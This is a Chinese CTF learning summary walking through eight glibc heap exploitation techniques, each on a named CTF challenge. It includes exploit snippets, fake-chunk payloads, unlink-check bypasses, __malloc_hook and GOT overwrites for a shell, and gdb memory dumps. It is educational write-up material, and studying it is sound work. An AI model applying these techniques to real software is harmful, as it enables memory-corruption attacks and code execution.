CTF 玩转 pwn 月度总结

CTF相关 2019-11-10

本文作者:Bill

自从加入 RTIS 交流群, 在 7o8v 师傅, gd 大佬 的帮助下, PWN 学习之路进入加速度. 下面是 8 周学习的总结, 基本上是按照how2heap 路线走的.由于 8 周内容全写, 篇幅太长, 这里只讲述每道 PWN 题所用到的一个知识点.

第一节(fastbin_dup_into_stack)

知识点 利用 fastbin 之间,单链表的连接的特性, 溢出修改下一个 free chunk 的地址, 造成任意地址写.

例子: 0CTF 2017 Babyheap

Fill功能可以填充任意长字节, 漏洞在此.

leak memory: libc address
modify __malloc_hook` 内容为 `one_gadget
`getshell

重点: fastbin attack

First Step

 alloc(0x60)alloc(0x40)0x56144ab7e000: 0x0000000000000000  0x0000000000000071 --> chunk0 header0x56144ab7e010: 0x0000000000000000  0x00000000000000000x56144ab7e020: 0x0000000000000000  0x00000000000000000x56144ab7e030: 0x0000000000000000  0x00000000000000000x56144ab7e040: 0x0000000000000000  0x00000000000000000x56144ab7e050: 0x0000000000000000  0x00000000000000000x56144ab7e060: 0x0000000000000000  0x00000000000000000x56144ab7e070: 0x0000000000000000  0x0000000000000051 --> chunk1 header0x56144ab7e080: 0x0000000000000000  0x00000000000000000x56144ab7e090: 0x0000000000000000  0x0000000000000000

Second Step

 Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header0x56144ab7e000: 0x0000000000000000  0x00000000000000710x56144ab7e010: 0x6161616161616161  0x61616161616161610x56144ab7e020: 0x6161616161616161  0x61616161616161610x56144ab7e030: 0x6161616161616161  0x61616161616161610x56144ab7e040: 0x6161616161616161  0x61616161616161610x56144ab7e050: 0x6161616161616161  0x61616161616161610x56144ab7e060: 0x6161616161616161  0x61616161616161610x56144ab7e070: 0x0000000000000000  0x0000000000000071  --> 已修改为0x710x56144ab7e080: 0x0000000000000000  0x0000000000000000

Third Step: 申请 small chunk

 0x56144ab7e060: 0x6161616161616161  0x61616161616161610x56144ab7e070: 0x0000000000000000  0x00000000000000710x56144ab7e080: 0x0000000000000000  0x00000000000000000x56144ab7e090: 0x0000000000000000  0x00000000000000000x56144ab7e0a0: 0x0000000000000000  0x00000000000000000x56144ab7e0b0: 0x0000000000000000  0x00000000000000000x56144ab7e0c0: 0x0000000000000000  0x0000000000000111 --> chunk2 header

Fouth Step: 破坏 chunk2 header, 最后目的是释放 chunk2

 Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk headerFree(1)Alloc(0x60)0x56144ab7e000: 0x0000000000000000  0x0000000000000071......0x56144ab7e060: 0x6161616161616161  0x61616161616161610x56144ab7e070: 0x0000000000000000  0x0000000000000071......0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071 --> fake chunk header

Fifth Step: 修复 chunk2 header, free

 Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修复chunk2Free(2)Dump(1)0x56144ab7e060: 0x6161616161616161  0x61616161616161610x56144ab7e070: 0x0000000000000000  0x00000000000000710x56144ab7e080: 0x6262626262626262  0x62626262626262620x56144ab7e090: 0x6262626262626262  0x6262626262626262......0x56144ab7e0c0: 0x0000000000000000  0x00000000000001110x56144ab7e0d0: 0x00007f26abbacb78  0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write, 将内容全部打印, 不会出现\x00截止)0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071

Sixth Step: 修改下一个 free chunk__malloc_hook

 Free(1)payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0) # fake chunk + 修改修改的地址Fill(0, 0x60 + 0x10 + 0x10, payload)

详解解析:

https://blog.csdn.net/qq_33528164/article/details/79515761

文件下载

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/fastbin_dup

第二节(fastbin_dup_consolidate)

知识点

1、当 topchunk size 不足以满足申请的大小, 会合并 fastbin 的空闲 chunk。 如若在不足: 主分配区调用 sbrk, 增加 top chunk 大小; 非主分配区调用 mmap 来分配一个新的 sub-heap

2、got 表中存放着函数的真实地址, 函数调用会去 got 表中查找函数地址, 然后跳转.修改 got 表对应函数的地址, 达到 getshell 目的.

3、double free: 释放两次内存, 可与 Unlink 搭配实现任意地址读写.

栗子:HITCON CTF 2016 SleepyHolder

程序分析

可以选择申请 40, 4000, 400000 三种不同大小的堆块, 每种只能申请一个, 400000 会清空 fastbin

删除, 将相应的标志位置位 0 修改, 不检查相应的指针是否已释放, 造成 Double Free

重点

演示过程: 申请 small secret、big secret, 删除 small secret, 申请 large secret

申请large secret之前

img

之后

img

详细解析:

https://blog.csdn.net/qq_33528164/article/details/80040197

文件下载:

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/fastbin_dup_consolidate

第三节(unsafe_unlink)

知识点

unlink: 当 free 两个相邻的 small chunk 时, 会发生合并的特性来攻击的. 合并后的 chunk 块放在双向链表构成的 unsorted bin.

栗子:HITCON CTF 2014 stkof

程序分析

alloc: 输入分配内存的大小

read_in: 写入任意长度, 漏洞在此

free
useless

重点

绕过 size 检查

绕过指针检查

img

绕过size

 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \  malloc_printerr ("corrupted size vs. prev_size");  

过程捋一下

 P=0x1307540, chunksize(P) = 0x20nextchunk(P) = 0x1307540 + 0x20 = 0x1307540 + 0x20prev_size = [0x1307540 + 0x20] = 0x200x20 = 0x20 , 绕过, 就是fake_chunk, 很好绕过的.

绕过指针检查

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \  malloc_printerr ("corrupted double-linked list");                              \

过程捋一下

 FD = [0x1307540 + 0x10] = 0x602138,BK = [0x1307540 + 0x18] = 0x602140FD->bk = [0x602138 + 0x18] = 0x1307540,BK-> fd = [0x602140 + 0x10] = 0x1307540P = 0x1307540FD->bk != P 为falseBK->fd != P 为false成功绕过

详细解析

https://blog.csdn.net/qq_33528164/article/details/79586902

文件下载

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/unsafe_unlink/hitcon_ctf_2014

第四节(house_of_einherjar)

知识点

house_of_einherjar: 该对利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk, 主要在于滥用 free 中的后向合并.

栗子:Seccon CTF 2016 tinypad

程序分析

Add memo

Delete memo, 将指针释放, size 位清零, 但没有将对应的指针清零.

Edit memo, 存在一个 Off_By_One 漏洞.

`Quit

img

img

重点

通过利用 Off_By_Oneunlink, 修改 unsorted bin 的指针

1. 泄露

 add(0x80, "A"*0x80)add(0x80, "B"*0x80)add(0x80, "C"*0x80)add(0x80, "D"*0x80)delete(3)delete(1)

img

2. house_of_einherjar

 add(0x18, "A"*0x18)add(0x100, "B"*0xf8 + p64(0x11))add(0x100, "C"*0x100)add(0x100, "D"*0x100)tinypad = 0x602040offset = heap + 0x20 - 0x602040 - 0x20fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2edit(3, "D"*0x20 + fake_chunk)zero_byte_number = 8 - len(p64(offset).strip("\x00"))'''循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset'''for i in range(zero_byte_number+1):  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')  edit(1, data)delete(2)edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin

img

详细解析:

https://blog.csdn.net/qq_33528164/article/details/79993399

文件下载:

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/house_of_einherjar

第五节(house_of_force)

知识点

house_of_force: 溢出 top chunk, 返回任意地址.

top chunk: 当 bins 和 fastbin 不能满足申请的大小时, 就会从 top chunk 分割相应的大小给用户. 例如: 第一次 malloc 时, fastbin 和 bins 中并没有相应的空闲的 chunk, 就会从 top chunk 中分配.

栗子:BCTF 2016 bcloud

程序分析

welcome: 输入 name, host, org. 漏洞在此, 构造一定的输入, 可使程序复制过量的数据到相应的堆空间, 可修改 top chunk size

New Note: malloc

Show Note: display

Edit Note: update

Delete: free

重点

 name = "Bill"*0x10org = "A"*0x40host = p32(0xffffffff)welcome(name, org, host)

img

img

原因

img

详细解析:

https://blog.csdn.net/qq_33528164/article/details/79870585

文件下载:

https://github.com/BBS-Bill-Gates/CTF/tree/master/2016/BCTF/bcloud

第六节(off_by_one)

知识点

Off_By_One: 意思就是我们能够多写入一个字节, 不要小看这个字节,有时候能够修改 chunk header 的状态.

栗子: Asis CTF 2016 b00ks

程序分析

Welcome: 输入一个 author name, 这个地方存在 Off_By_One 漏洞, 溢出一个空子节.

Create a book: 创建一本书

Delete

Edit a book

Print book detail

Change current author name (再次编辑给了我们修改 book 指针的机会)

Exit

漏洞位置

img

第一个影响: 信息泄露

img

第二个影响: 会修改堆地址

img

思路: 在修改后的堆地址布置一个 fake chunk, 可以修改任意地址.\

详细解析:

https://blog.csdn.net/qq_33528164/article/details/79778690

文件详解:

https://github.com/BBS-Bill-Gates/CTF/tree/master/ctf-wiki/heap/off_by_one

第七节(UAF)

知识点

Use After Free: 内存被释放后, 其对应指针没有被置为NULL, 再次使用有可能使程序崩溃.

realloc: 重新修改分配空间, 源代码可以在文件下载链接中下载, 这个源代码不是很长.

申请的比原来大, 释放原来的指针, 重新申请内存.

申请的比原来小, 返回原始指针.

栗子:CISCN CTF 2018 task_supermarket

程序分析

 struct node{    char name[16];    int price;    int size;    char* des;}commodity[15];

add

delete

list

change price

change description, 漏洞在此.

当我们申请一个比原来的堆大的, 程序并没有更新原来的结构体中的 des 指针.若我们此时再次申请一个 node[1], 而这个 node[1] 刚好落在 node[0] 的 des 区域, 我们就可以通过编辑 node[0]des 来控制 node[1].

img

思路验证

img

img

img

详细解析:

https://blog.csdn.net/qq_33528164/article/details/80144580

文件下载:

https://github.com/BBS-Bill-Gates/CTF/tree/master/2018/National/pwn/task

第八节(数组越界)

知识点

数组越界: 就是程序不见验证 index 的正负, 可能会出现向前覆盖的情况.例如: char *s = "hello,world"; 试一下 s[-1]

栗子: CISCN 2018 task_note_service

程序分析

add note: 没有对输入的 index, 进行正负判断, 导致数组越界

show note

edit note

del note

img

思路

修改 free@got 的值为 shellcode 的地址.

修改之前

修改之后

img

详细解析:

https://blog.csdn.net/qq_33528164/article/details/80161477

文件下载:

https://github.com/BBS-Bill-Gates/CTF/tree/master/2018/National/pwn/note_service

一点心得

个人觉得以上这些 PWN 题, 并不是单纯的使用一个点就能解出来的, 我只是挑其中一点举例子而已. 这点没必要深究.

相关链接

我的 CSDN:

https://blog.csdn.net/qq_33528164

GITHUB:

https://github.com/BBS-Bill-Gates

House 系列论文:

http://phrack.org/issues/66/10.html


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论